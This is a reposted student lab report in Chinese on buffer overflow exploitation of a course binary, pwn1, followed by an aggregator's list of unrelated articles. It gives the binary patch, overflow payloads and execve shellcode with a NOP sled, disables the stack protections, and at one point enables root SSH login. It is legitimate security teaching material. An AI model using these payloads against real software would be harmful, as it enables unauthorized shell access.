20232324 2025-2026-1 《网络与系统攻防技术》实验一实验报告

news/2025/10/9 21:52:41/文章来源:https://www.cnblogs.com/fansileaaa/p/19132083

1.实验内容

1.1实验目标


  • 本次实践的对象是一个名为pwn1的linux可执行文件。
  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。
  • 正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

1.2基础知识


  • Linux基本操作的学习
    • 文件与目录操作如cd、ls、cp
    • 权限管理:通过chmod设置文件权限,确保可执行文件有正确的执行权限
    • 进程相关操作:使用ps查看进程、kill终止进程等
    • 命令行工具使用:如cat查看文件内容、echo输出内容等
  • 理解Bof的原理
    • 栈的结构:了解栈在内存中的生长方向(通常向低地址生长),以及函数调用时栈帧的创建(包括局部变量、返回地址、EBP 寄存器等的存储位置)。当函数处理输入时,若输入数据过长,会覆盖栈中的其他数据,这是缓冲区溢出的基础。
    • 返回地址覆盖:函数执行结束时,会从栈中取出返回地址,跳转到该地址继续执行。利用缓冲区溢出,用恶意构造的地址(如getShell函数地址)覆盖原本的返回地址,就能改变程序的执行流程。
    • Shellcode 概念:知道 Shellcode 是一段能实现特定功能(如获取 Shell)的可执行机器代码,理解如何将其注入到存在缓冲区溢出漏洞的程序中,并让程序执行这段代码。
  • GDB调试技巧
    • 基本调试命令:

gdb <程序名>:启动 GDB 调试程序。
run(r):运行程序。
break(b):设置断点,可在特定函数(如b foo)或地址处设置,用于暂停程序执行,查看当前状态。
continue(c):继续执行程序,直到下一个断点或程序结束。
print(p):打印变量或寄存器的值,如p $eip查看 EIP 寄存器内容。

  • EIP 寄存器相关:明确 EIP 寄存器是指令指针寄存器,存储着下一条要执行的指令的地址。在缓冲区溢出中,通过覆盖返回地址,能控制 EIP 的值,从而改变程序执行流。
  • Call 指令:call指令用于调用函数,会将当前 EIP 的下一条指令地址压入栈中,然后跳转到被调用函数的入口地址。在调试时,可观察call指令对栈和 EIP 的影响。
  • 指令跳转偏移计算:当需要修改指令让程序跳转到特定位置时,要计算当前指令地址与目标地址的偏移量,确保跳转正确。
  • 反汇编指令objdump:使用objdump -d <可执行文件>对可执行文件进行反汇编,查看程序的汇编代码,了解函数的入口地址、指令序列等,这对分析程序流程、寻找漏洞点很关键。

2.实验过程

2.1实践一


直接修改程序机器指令,改变程序执行流程

1.下载可执行文件pwn1,通过WINSCP将其传入kali中,重命名为pwn20232324
2.查看目标文件pwn20232324反汇编代码

使用objdump -d pwn1 | more命令,找到汇编指令call 8048491,意思是说这条指令将调用位于地址8048491处的foo函数

ce38bf74faf4455cec501321a545174c
03a3b2e72415e5195158d02df044e8dd

main 调用 foo 的机器指令是 e8 d7ffffff(e8 表跳转,d7ffffff 为补码,当 EIP 为 80484ba 时,计算得 foo 地址 8048491),若想改调 getShell,只需将 “d7ffffff” 换成 “getShell 地址 - 80484ba” 的补码,用计算器算 47d-4ba 可得该补码为 c3ffffff

3.修改返回地址

复制pwn文件 cp pwn20232324 pwn20232324_2

d7b161cfed5fb430c52b20f82b225c4a

通过命令 vi pwn 20232324_2 编辑可执行文件

1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq

53aa6049e9752d44dce8ce2324408f4f
a4b3028c9ab5cc38014f67fe5a07c586

4.检查call指令是否正确调用getshell地址

输入objdump -d pwn2 | more

48abf50faf57b25f640bbb4a329013cf

5.重新运行可执行文件,得到shell提示符#

输入 ./pwn20232324运行文件,尝试使用ls命令

e28ce0661f6d191abee8c6fbfb57364f

2.2实践二


通过构造输入参数,造成BOF攻击,改变程序执行流

1.找到函数Buffer overflow漏洞
image

从图中我们可以得知系统只预留了 28 字节 的缓冲区,超过这个长度的输入就会覆盖栈上的其他数据(包括保存的 EBP 和返回地址)

2.确认输入字符串哪几个字符会覆盖到返回地址

下载并启动gdb进行调试

image
26f6b706d55b4033a3d0bae2168c582c

我们可以从上图中找到eip寄存器内的值为0x35353535,35是5的ASCII的值,接下我们需要继续调试,找到是从输入的字符串中的哪一个'5'开始覆盖返回地址

23bf9281520d6215c25235ed49158284

此时eip寄存器内的值为0x34333231即'1234',所以我们可以得知只要将原先'1234'及其以后的内容替换为getsgell的内存地址,CPU会尝试运行这个位置的代码,从而调用shell。

3.确认用什么值来覆盖返回地址

在2.2.1中我们可以找到getshell的内存地址为0804847d,对比之前 eip 0x34333231确认字节序,正确输入 11111111222222223333333344444444\x7d\x84\x04\x08字符串。

4.构造输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

输入 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

使用16进制查看指令xxd查看input文件的内容是否如预期。

输入xxd input

然后将input的输入,通过管道符“|”,作为pwn20232324的输入。

输入(cat input; cat) | ./pwn20232324_2

调用shell

输入 ls

a07ba4ac4427ff0cfd2b7fd147eebc2d

2.3实践三


注入Shellcode并执行

1.准备工作

  • 设置堆栈可执行、查询文件的堆栈是否可执行、并关闭地址随机化(见“问题三及其解决”中的命令)
  • 准备一段shellcode,依据实验指导书所提供的 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

2.构造payload
Linux下有两种基本构造攻击buf的方法:

  • anything+retaddr+nop+shellcode
  • anything+nop+shellcode+retaddr。

nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

输入  perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20232324

image

3.打开终端注入这段攻击

输入(cat input_shellcode20232324;cat) | ./pwn20232324

image
4.再开另外一个终端,用gdb来调试pwn20232324这个进程

找到pwn20232324进程号

输入 ps -ef | grep pwn20232324

image

有图可知进程号为131870,启动gdb调试进程131870,进行以下操作

(1)启动gdb 输入gdb
(2)调试进程 输入attach 131870
(3)设置断点,来查看注入buf的内存地址 
①输入disassemble foo 
②输入break *0x080484ae
foo的结束地址是0x080484ae,在此处设置一个断点,因为ret完,就跳到我们覆盖的retaddr了

image

在终端1中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode20232324的原因.
继续打开终端2,进行gdb调试

(4)继续 输入c
(5)遇到断点后,查当前栈顶地址 输入info r esp
由图可知地址为

image

此时我们得知retaddr地址为0xffffcfcc,其值0x01020304应该为shellcode的地址,从而构造出anything+nop+shellcode+retaddr结构

由实验指导书可知,在 绝大多数实际场景中(有 leave 指令、有栈操作的常规函数),anything+nop+shellcode+retaddr结构是无法实现的,因为会被栈帧清理覆盖 shellcode,且 retaddr 容错率为 0;只有在极端极简的汇编函数中(无 leave、无栈操作),才可能勉强执行,但这种场景没有实际意义。所以应该使用anything+retaddr+nop+shellcode结构

构造payload结构为anything+retaddr+nop+shellcode
输入perl -e 'print "A" x 32;print "\xd0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode20232324_232位的‘A’刚好占满缓冲区的位置,\x90\x90\x90\x90\x90\x90为nop会自动滑行到shellcode,所以我们的retaddr里面的值为retaddr(0xffffcfcc)+4字节=0xffffcfd0
输入xxd input_shellcode20232324_2
输入(cat input_shellcode20232324_2;cat) | ./pwn20232324命令进行运行,
出现了shell,输入ls

微信图片_20251004030944_448_1

3.问题及解决方案

  • 问题1:winscp传输文件失败
  • 问题1解决方案:Kali Linux默认禁止root用户直接通过 SSH 登录。查看虚拟机中 SSH 服务的配置文件(通常是/etc/ssh/sshd_config),找到PermitRootLogin相关的设置修改为yes,然后重启 SSH 服务。
  • 问题2:修改完返回地址后,无法运行pwn20232324_2
  • 问题2解决方案:当前用户没有执行权限,你可以使用 chmod 命令赋予其执行权限:chmod +x pwn20232324_2
  • 问题3:无法下载execstack
  • 问题3解决方案:使用以下命令
    • sudo apt install patchelf 启用栈执行(相当于 execstack -s)
    • patchelf --set-execstack pwn1 验证是否成功
    • readelf -l pwn1 | grep GNU_STACK
      如果输出包含 RWE(Read-Write-Execute),说明栈可执行。
      如果只有 RW,说明栈不可执行(NX 保护开启)。

4.学习感悟、思考等

本次实验我通过Linux基本操作、反汇编、GDB调试技术掌握了栈内布局和缓冲区溢出攻击,也使得我更好的理解如何防御这些漏洞攻击。此外,我认为在做实验前应该将实验原理有了细致的掌握后再进行操作,这样可以使得我们的每一个理论知识得到验证。
最后,感谢一下洪老师呜呜呜😭😭😭,非常耐心且详细地给我讲了实践三的原理!😘

参考资料

  • 逆向及Bof基础实践说明
  • 网络与系统攻防技术实验一实验报告

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/933872.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025.10.8 训练记录

10.8 上午 早读爽睡 30min,闭眼到机房。 然后发现有人打开了我的浏览器打开了duel点击了加入比赛点击了准备。 就是这场。 嗯。最近大家打 duel 的热情好像很高。那我也打吧。 于是绷不住开始打。 C cf1849C 完美的降…

【触想智能】工业一体机在金融领域的应用优势和具体注意事项 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

汽车行业AI视觉检测方案(三):引领轮胎智检 - 实践

汽车行业AI视觉检测方案(三):引领轮胎智检 - 实践2025-10-09 21:45 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; dis…

WPF mvvm datagrid export as pdf via iTextSharp

Install-Package iTextSharp; public ICommand ExportAsPDFCommand { get; private set; }ExportAsPDFCommand = new DelCommand(async (obj) => await ExportAsPDFCommandExecuted(obj));private async Task Expor…

【每日一面】盒子模型

基础问答 问题:标准的 CSS 盒子模型是怎样的? 答案:标准盒子模型由内容区域(content)、内边距(padding)、边框(border)和外边距(margin)组成。在 content-box 模式下,width 和 height 属性仅指内容区域的宽…

日总结 9

配置环境变量本质是为操作系统和程序提供 “全局可读取的配置信息”,它能让终端无需输入完整路径即可直接调用软件(如java/python命令)、帮助软件定位依赖路径(如JAVA_HOME避免硬编码)、传递系统级参数(如临时文…

kettle插件-国产数据库瀚高插件,助力国产数据库腾飞

场景:国产数据库(瀚高,金仓,达梦,海量等)信创环境下最近发展的势头很猛,今天我们一起来学习下瀚高数据库,从瀚高数据库中读取数据以及使用瀚高数据库作为kettle的资源仓库,废话少数,开干。 1、使用docker安装…

利用旋钮控制小灯亮度

利用旋钮控制小灯亮度 1、初始化该项目以复刻旋钮的项目为基础进行扩展,前置步骤请参考以下帖子:复刻江协旋钮控制模块(1)PWM配置将时钟按照如下方式重新配置使能TIM3计时器(2)写入代码在主循环外启用计时器的PWM模式…

ai 对话框一直往下滚可能要成为过云,当初只是为了快速现实ai的演示界面而己,是该走入正题 了

谢双军以为:在AI发展初期,为了迅速展示其能力,开发者采用了一个简易的对话窗口设计,消息不断向下堆叠。这种设计是临时性的,因为当时的主要精力集中在功能实现上,而非优化用户体验。随着AI技术的成熟,我们计划重…

脚手架安全巡检智能化!AI 让隐患识别更精准、整改更高效

在建筑施工脚手架巡检场景中,传统人工巡检模式正面临多重痛点:全靠肉眼排查钢管开裂、锈蚀,易因经验不足或视觉疲劳漏检;材料堆积仅靠人工记录,无法快速判断是否占用施工通道、是否超过安全高度;拍摄环境复杂(光…

实用指南:provthrd.dll propsys.dll profsvc.dll profprov.dll procinst.dll prntvpt.dll prnntfy.dll

实用指南:provthrd.dll propsys.dll profsvc.dll profprov.dll procinst.dll prntvpt.dll prnntfy.dllpre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: bl…

37 ACwing 298 Fence 题解

Fence 题面 有 N 块木板从左到右排成一行,有 M 个工匠对这些木板进行粉刷,每块木板至多被粉刷一次。 第 i 个木匠要么不粉刷,要么粉刷包含木板 \(S_i\) 的,长度不超过 \(L_i\) 的连续的一段木板,每粉刷一块可以得…

35 ACwing 297 The Battle Chibi 题解

The Battle of Chibi 题面 给定一个长度为 \(N\) 的序列 \(A\) ,求 \(A\) 有多少个长度为 \(M\) 的严格递增子序列 \(1 \le M \le N \le 1000,\ |A_i| \le 10^9\) 答案对 \(10^9\) 取模 题解 设 \(f(i,j)\) 表示以 \(…

一款由网易出品的免费、低延迟、专业的远程控制软件,支持手机、平板、Mac 、PC、TV 与掌机等多设备远控电脑!

前言 在多设备协同日益普及的今天,高效、流畅的远程控制已成为工作与生活的刚需。网易出品的这款免费远程控制软件,凭借低延迟、高画质与跨平台兼容性,轻松实现手机、平板、Mac、PC、TV 乃至掌机对电脑的远程操控,…

计划管理

计划管理核心是围绕 “期货工具” 与 “现货业务” 的协同,提前制定明确的操作计划,确保期现两端(如现货采购 / 销售、期货套保 / 交割)目标一致、节奏匹配,本质是通过 “事前规划” 降低期现错配风险,提升业务收…

苍穹外卖第二天(Nginx如何配置、MD5加密)

一、关于Nginx 1、Nginx反向代理的配置方式。监听的端口号是80,当请求路径中含有“api”这种字符串时,Nginx就会将请求转发给后面的地址,并且在/后面拼接上请求中后面的employee/login 2、Nginx负载均衡的配置方式。…

aardio跨窗口传递变量

aardio跨窗口传递变量把需要传递的变量写在用户库里, 右键用户库,新建WindowParamnamespace WindowParam{add_type="" }然后在需要使用的窗口里import WindowParam WindowParam.add_type参考

AI在简单视觉推理谜题中的挑战

ARC Prize测试通过看似简单的视觉谜题评估机器的推理、抽象和泛化能力,这些能力被认为是实现通用人工智能的核心要素。本文介绍了该基准测试的设计理念及其在衡量AI进展中的重要性。ARC Prize挑战:AI在简单谜题中的困…

自动引入的element-plus覆盖tailwindcss样式冲突解决方法

用el-card时发现自带的padding非常烦人,又不想通过:deep修改就想着tailwind一把梭,参考过github上issue的解决方案但好像那些都是想让element去覆盖tailwindcss的,想到antd有对应的解决方案便参考其文档 antd文档ht…

已严肃完成今日96种状态的超级神仙DP大学习

传送门 官方题解做法。 注:因为黑格子上只能放黑棋,白格子上只能放白棋,所以有的时候没必要区分是格子还是棋 Step 1 - 找性质对于一个极大棋子联通块,我们可以在它左边或者右边放一个棋子(具体来讲选择对应位置格…